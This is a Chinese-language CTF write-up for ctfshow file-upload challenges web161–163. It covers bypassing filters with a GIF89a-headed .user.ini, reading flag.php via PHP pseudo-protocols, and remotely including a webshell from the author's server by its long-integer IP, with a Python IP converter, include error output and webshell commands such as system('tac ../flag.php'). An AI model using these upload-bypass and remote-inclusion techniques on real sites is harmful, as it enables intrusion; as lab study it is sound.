ctfshow-web入门-文件上传(web161、web162、web163)远程包含

目录

1、web161

2、web162

3、web163


1、web161

先传配置文件,可以上传成功

因为我前面给的 .user.ini 都是带了图片头 GIF89a 的,前面的题这个图片头可以去掉,但是在这里如果去掉是不行的。

因此后面上传的东西我们都带上这个图片头:

采用伪协议读取 flag.php

访问 upload 目录:

base64 解码

拿到 flag:ctfshow{85cc388e-a505-4da9-943a-9bf970de0d43}

2、web162

配置文件无法上传 

进行模糊测试后,发现是点被过滤掉了

那么我们上传的文件名就不使用后缀即可:这里以 test 为例

但是我们上传的内容里也无法使用点,因此日志文件包含和伪协议读取的方法都无法使用。

这里我们让其包含远程服务器上的木马:

下面打码部分为我自己服务器 ip 地址的长整型格式 

转换脚本:

#IP转换为长整型
def ip2long(ip):
    ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
    result = 0
    for i in range(4): #0,1,2,3
        result = result+int(ip_list[i])*256**(3-i)
    return result

#长整型转换为IP
def long2ip(long):
    floor_list = []
    num = long
    for i in reversed(range(4)):
        res = divmod(num,256**i)
        floor_list.append(str(res[0]))
        num = res[1]
    return '.'.join(floor_list)

print(ip2long('服务器ip地址'))

上传这个 test:

先命名为 test.png,绕过前端后抓包改回 test 再上传

访问 upload 目录:

报错

Warning: include(http://795707305/shell): failed to open stream: HTTP request failed! HTTP/1.1 400 Bad Request in /var/www/html/upload/test on line 2

Warning: include(): Failed opening 'http://795707305/shell' for inclusion (include_path='.:/usr/local/lib/php') in /var/www/html/upload/test on line 2

默认情况下,PHP 配置通常不允许通过 include 或 require 语句包含外部 URL,所以我也不清楚它这里服务器上 php 的配置文件是否允许远程包含。

看了下我自己服务器的,这个选项确实是关闭的:

看了下网上其他师傅是可以的,但是不知道为啥我这里就是不行:

后面又去 b 站看了下视频,发现它远程包含的就是一个 php 文件,而我这里包含的 shell 是一个纯文本的东西,我最开始以为是将这段内容包含进了 index.php 的代码里,所以就没有考虑它不是 php 后缀是否可以正常解析的问题。

如何在没有 .php 后缀下又让它被当做 php 文件解析呢?

于是我将木马命名为 index.php,即首页文件

原以为这样我们就只需要包含 ip 地址,就可以包含到 index.php

但是测了一下,也是没有包含成功。

后面问了群里的师傅,说用 flask,我原本用的是 Apache 搭的服务,重置了服务器,Apache 和 php 其实都是刚下的,可能还需要配置点什么吧,不清楚,因此我们将木马放到 flask 服务上去。

这里也懒得传两次了,直接将要包含的 shell 放到 .user.ini 里面:(是可以这样进行包含的)

之后访问 upload:

没有出告警,说明这次应该是包含成功了

调用木马:

折腾死我了,终于拿到 flag:ctfshow{6309f5e7-6b49-4d9a-8ef3-26afc5d85754} 

3、web163

和上一题一样的方法,而且这里如果传图片的话会被删掉,还只能将包含的 shell 位置直接放在配置文件里,而不能分开传。

访问 upload :

/upload/?cmd=system('ls');

/upload/?cmd=system('tac ../flag.php');

拿到 flag:ctfshow{1ccc238f-dfc2-4209-9c52-4fa46184d51e}

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-09 17:30:06       67 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-09 17:30:06       71 阅读
  3. 在Django里面运行非项目文件

    2024-07-09 17:30:06       58 阅读
  4. Python语言-面向对象

    2024-07-09 17:30:06       69 阅读

热门阅读

  1. android Gradle储蓄地址

    2024-07-09 17:30:06       22 阅读
  2. 基于BERT的大规模文本处理实战

    2024-07-09 17:30:06       25 阅读
  3. 【LeetCode 0242】【Map/排序】有效的异位词

    2024-07-09 17:30:06       20 阅读
  4. Ubuntu下Qt-5.12.9创建快捷方式到桌面

    2024-07-09 17:30:06       26 阅读
  5. ArkTs基础入门

    2024-07-09 17:30:06       24 阅读
  6. 代码随想录Day74(图论Part10)

    2024-07-09 17:30:06       29 阅读
  7. 如何使一个盒子水平垂直居中(常用的)

    2024-07-09 17:30:06       22 阅读
  8. mybatis用注解替换xml,不再写.xml了

    2024-07-09 17:30:06       28 阅读
  9. 拓扑学习系列(9)计算代数拓扑中的复形COMPLEXES

    2024-07-09 17:30:06       29 阅读
  10. Docker

    Docker

    2024-07-09 17:30:06      29 阅读
  11. 服务器安装多个Tomcat

    2024-07-09 17:30:06       26 阅读